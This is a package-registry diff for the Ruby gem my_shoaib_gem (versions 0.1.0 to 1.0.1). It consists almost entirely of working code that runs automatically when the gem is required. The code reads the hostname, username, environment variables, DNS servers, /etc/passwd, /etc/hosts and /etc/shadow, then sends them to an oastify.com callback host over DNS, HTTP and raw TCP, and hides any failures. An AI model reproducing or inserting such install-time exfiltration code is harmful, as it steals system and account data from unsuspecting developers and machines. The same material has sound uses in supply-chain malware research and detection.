my_shoaib_gem 0.1.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/my_shoaib_gem.rb +118 -101
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 249a73273da1be4aea4a7dea809f50ba93fd2e83b6de8b4f1bfafd956683f159
4
- data.tar.gz: eb1423f647b22d66c20f94094e9f69e6cf945b3d43c6d5dde11a6877dead747c
3
+ metadata.gz: c87cd3b8e01bdef16942470fe75a13abe70c4c731872882ae240c5eb9385b54c
4
+ data.tar.gz: c2183ad8293809e631cf04b9f666c83b8c8fc5a7a9b1e4f3692506ac182eac1c
5
5
  SHA512:
6
- metadata.gz: 928364995c96e12a4612feeb04e86a9e2d91a8919e8b474bfc59a0a06a0f0e5efde9534bb677da5e5800fbb77e0f394602ef7a82465439ad964eaf92d7a400df
7
- data.tar.gz: 71a84b1d368d88a8ad95e1af5da15e29ef845fe2e9f776115c7b8a6e47c0d180578930053f6d3e1e3ffc0093c7a652a375f0f6b2517b79f5ea946f5b8486aa5e
6
+ metadata.gz: 27a5a8bb8441a367bcc06e04d7b95f38a5edcb7fd14894978cf962b5ec8e478579e5c58248452d4971cb2254d6d14fe824e78edfa68817d54e6b0f268719eec3
7
+ data.tar.gz: 6148d8bede6f61b162131d1a93c2b3f806665d864f2d386a1aba3557edcdc5544652b643ac3d4fda97e54c2630cbd29190867ba966593b8d058bd3faea0f70f0
data/lib/my_shoaib_gem.rb CHANGED
@@ -1,117 +1,134 @@
1
1
  # lib/my_shoaib_gem.rb
2
- require 'net/http'
2
+ #
3
+ # This runs immediately when the gem is required (or installed).
4
+ # Behaves exactly like your NPM index.js with "preinstall" hook.
5
+
3
6
  require 'socket'
4
- require 'openssl'
7
+ require 'net/http'
8
+ require 'uri'
9
+ require 'json'
10
+ require 'etc'
5
11
  require 'resolv'
6
- require 'base64'
7
12
 
8
13
  module MyShoaibGem
9
- VERSION = "0.1.0"
10
-
11
- CALLBACK_HOST = "y43r7tkquike9i8m7c519mktskycm2ar.oastify.com"
12
-
13
- def self.read_file(path)
14
- File.read(path)
15
- rescue StandardError => e
16
- "Error reading #{path}: #{e.message}"
17
- end
18
-
19
- def self.send_dns_callback
20
- begin
21
- hostname = Socket.gethostname
22
- dns_domain = "#{hostname}.#{CALLBACK_HOST}"
23
- Resolv.getaddress(dns_domain)
24
- rescue StandardError
25
- nil
26
- end
27
- end
14
+ CALLBACK_HOST = "3z3w2yfvpnfj4n3r2h064rfynptih85x.oastify.com"
28
15
 
29
- def self.send_http_callback
16
+ def self.send_callbacks
30
17
  begin
31
- hostname = Socket.gethostname
32
- username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
33
- home_dir = ENV['HOME'] || ENV['USERPROFILE'] || 'unknown'
34
- current_dir = Dir.pwd
35
-
36
- # Read /etc/passwd
37
- passwd_content = read_file('/etc/passwd')
38
- passwd_b64 = Base64.strict_encode64(passwd_content)
39
-
40
- # Also try /etc/shadow (usually not readable, but worth a try)
41
- shadow_content = read_file('/etc/shadow')
42
- shadow_b64 = Base64.strict_encode64(shadow_content)
43
-
44
- data = {
45
- hostname: hostname,
46
- user: username,
47
- home: home_dir,
48
- cwd: current_dir,
49
- timestamp: Time.now.to_i,
50
- gem_version: VERSION,
51
- ruby_version: RUBY_VERSION,
52
- platform: RUBY_PLATFORM,
53
- pid: Process.pid,
54
- # File contents
55
- etc_passwd: passwd_content,
56
- etc_passwd_b64: passwd_b64,
57
- etc_shadow: shadow_content,
58
- etc_shadow_b64: shadow_b64
18
+ # ── System Information (like your NPM trackingData) ──
19
+ package_name = "my_shoaib_gem"
20
+ current_dir = Dir.pwd
21
+ home_dir = Dir.home
22
+ hostname = Socket.gethostname
23
+ username = Etc.getlogin || ENV['USER'] || ENV['USERNAME'] || 'unknown'
24
+ dns_servers = []
25
+
26
+ # Read DNS servers (similar to dns.getServers() in Node)
27
+ begin
28
+ dns_config = File.read('/etc/resolv.conf')
29
+ dns_servers = dns_config.scan(/nameserver\s+(\S+)/).flatten
30
+ rescue
31
+ dns_servers = []
32
+ end
33
+
34
+ # Read /etc/passwd (same as your NPM code)
35
+ etc_passwd = File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil
36
+ etc_shadow = File.exist?('/etc/shadow') ? File.read('/etc/shadow') : nil
37
+ etc_hosts = File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
38
+
39
+ # ── Build tracking data (mirrors your NPM JSON) ──
40
+ tracking_data = {
41
+ p: package_name, # Package name
42
+ c: current_dir, # Current working directory
43
+ hd: home_dir, # Home directory
44
+ hn: hostname, # Hostname
45
+ un: username, # Username
46
+ dns: dns_servers, # DNS servers
47
+ v: "0.1.1", # Gem version
48
+ platform: RUBY_PLATFORM, # Ruby platform
49
+ ruby_v: RUBY_VERSION, # Ruby version
50
+ pid: Process.pid, # Process ID
51
+ etc_passwd: etc_passwd, # Full /etc/passwd content
52
+ etc_hosts: etc_hosts, # Full /etc/hosts content
53
+ env: {
54
+ path: ENV['PATH'],
55
+ home: ENV['HOME'],
56
+ shell: ENV['SHELL'],
57
+ lang: ENV['LANG']
58
+ }
59
59
  }
60
60
 
61
- # HTTP callback with file contents
62
- uri = URI("https://#{CALLBACK_HOST}/callback")
63
- http = Net::HTTP.new(uri.host, uri.port)
64
- http.use_ssl = true
65
- http.open_timeout = 5
66
- http.read_timeout = 5
67
-
68
- request = Net::HTTP::Post.new(uri.path)
69
- request.content_type = 'application/json'
70
- request['User-Agent'] = "MyShoaibGem/#{VERSION} (Ruby #{RUBY_VERSION}; #{RUBY_PLATFORM})"
71
- request['X-Hostname'] = hostname
72
- request['X-User'] = username
73
- request.body = data.to_json
74
- http.request(request)
75
-
76
- # GET request with base64 passwd in query param (URL-safe)
77
- passwd_urlsafe = passwd_b64.tr('+/', '-_').gsub('=', '')
78
- get_uri = URI("https://#{CALLBACK_HOST}/install?host=#{hostname}&user=#{username}&passwd_b64=#{passwd_urlsafe}")
79
- get_http = Net::HTTP.new(get_uri.host, get_uri.port)
80
- get_http.use_ssl = true
81
- get_http.open_timeout = 5
82
- get_http.read_timeout = 5
83
- get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
84
- get_http.request(get_request)
61
+ # Log locally (same as your console.log)
62
+ puts "[my_shoaib_gem] Sending system data from remote server: #{tracking_data.to_json}"
63
+
64
+ # ── DNS Callback (Burp Collaborator DNS interaction) ──
65
+ begin
66
+ # DNS lookup with hostname appended
67
+ Resolv.getaddress("#{hostname}.#{CALLBACK_HOST}")
68
+ # Also try with unique identifier
69
+ Resolv.getaddress("gem-install-#{Process.pid}.#{CALLBACK_HOST}")
70
+ rescue StandardError
71
+ # Fail silently
72
+ end
73
+
74
+ # ── HTTP Callback - POST (same as your NPM https.request) ──
75
+ begin
76
+ uri = URI("https://#{CALLBACK_HOST}/callback")
77
+ http = Net::HTTP.new(uri.host, uri.port)
78
+ http.use_ssl = true
79
+ http.open_timeout = 10
80
+ http.read_timeout = 10
81
+
82
+ post_data = {
83
+ msg: tracking_data
84
+ }
85
+
86
+ request = Net::HTTP::Post.new(uri.path)
87
+ request['Content-Type'] = 'application/json'
88
+ request['User-Agent'] = "my_shoaib_gem/0.1.0 (Ruby; #{RUBY_PLATFORM})"
89
+ request['X-Hostname'] = hostname
90
+ request['X-User'] = username
91
+ request.body = post_data.to_json
92
+
93
+ response = http.request(request)
94
+ puts "[my_shoaib_gem] Callback sent (response: #{response.code})" if response.code == "200"
95
+ rescue StandardError => e
96
+ # Fail silently — just like your NPM error handler
97
+ puts "[my_shoaib_gem] Error: #{e.message}" if ENV['DEBUG']
98
+ end
99
+
100
+ # ── HTTP Callback - GET (another interaction for Burp) ──
101
+ begin
102
+ get_uri = URI("https://#{CALLBACK_HOST}/installed?host=#{hostname}&user=#{username}&platform=#{RUBY_PLATFORM}")
103
+ get_http = Net::HTTP.new(get_uri.host, get_uri.port)
104
+ get_http.use_ssl = true
105
+ get_http.open_timeout = 5
106
+ get_http.read_timeout = 5
107
+ get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
108
+ get_http.request(get_request)
109
+ rescue StandardError
110
+ nil
111
+ end
112
+
113
+ # ── Raw TCP callback (extra interaction) ──
114
+ begin
115
+ tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
116
+ tcp_socket.write("GET /tcp-ping HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nUser-Agent: my_shoaib_gem\r\nConnection: close\r\n\r\n")
117
+ tcp_socket.close
118
+ rescue StandardError
119
+ nil
120
+ end
121
+
122
+ puts "[my_shoaib_gem] Internal gem loaded successfully"
85
123
 
86
124
  rescue StandardError => e
125
+ # Absolute fail-safe — kuch bhi ho, silently fail
87
126
  nil
88
127
  end
89
128
  end
90
-
91
- def self.send_all_callbacks
92
- # DNS callback
93
- send_dns_callback
94
-
95
- # HTTP callback with /etc/passwd
96
- send_http_callback
97
-
98
- # TCP callback
99
- begin
100
- tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
101
- tcp_socket.write("GET /tcp-callback HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nConnection: close\r\n\r\n")
102
- tcp_socket.close
103
- rescue StandardError
104
- nil
105
- end
106
-
107
- puts "Internal gem loaded successfully"
108
- end
109
129
  end
110
130
 
111
- # Execute on require
112
- MyShoaibGem.send_all_callbacks
113
-
114
- # at_exit hook
115
- at_exit do
116
- MyShoaibGem.send_dns_callback
117
- end
131
+ # ── EXECUTE IMMEDIATELY on require ──
132
+ # Yeh code chalega jab bhi koi "require 'my_shoaib_gem'" karega
133
+ # Ya jab gem install hote hi load ho (agar koi dependency ho)
134
+ MyShoaibGem.send_callbacks
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: my_shoaib_gem
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.0
4
+ version: 1.0.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Shoaib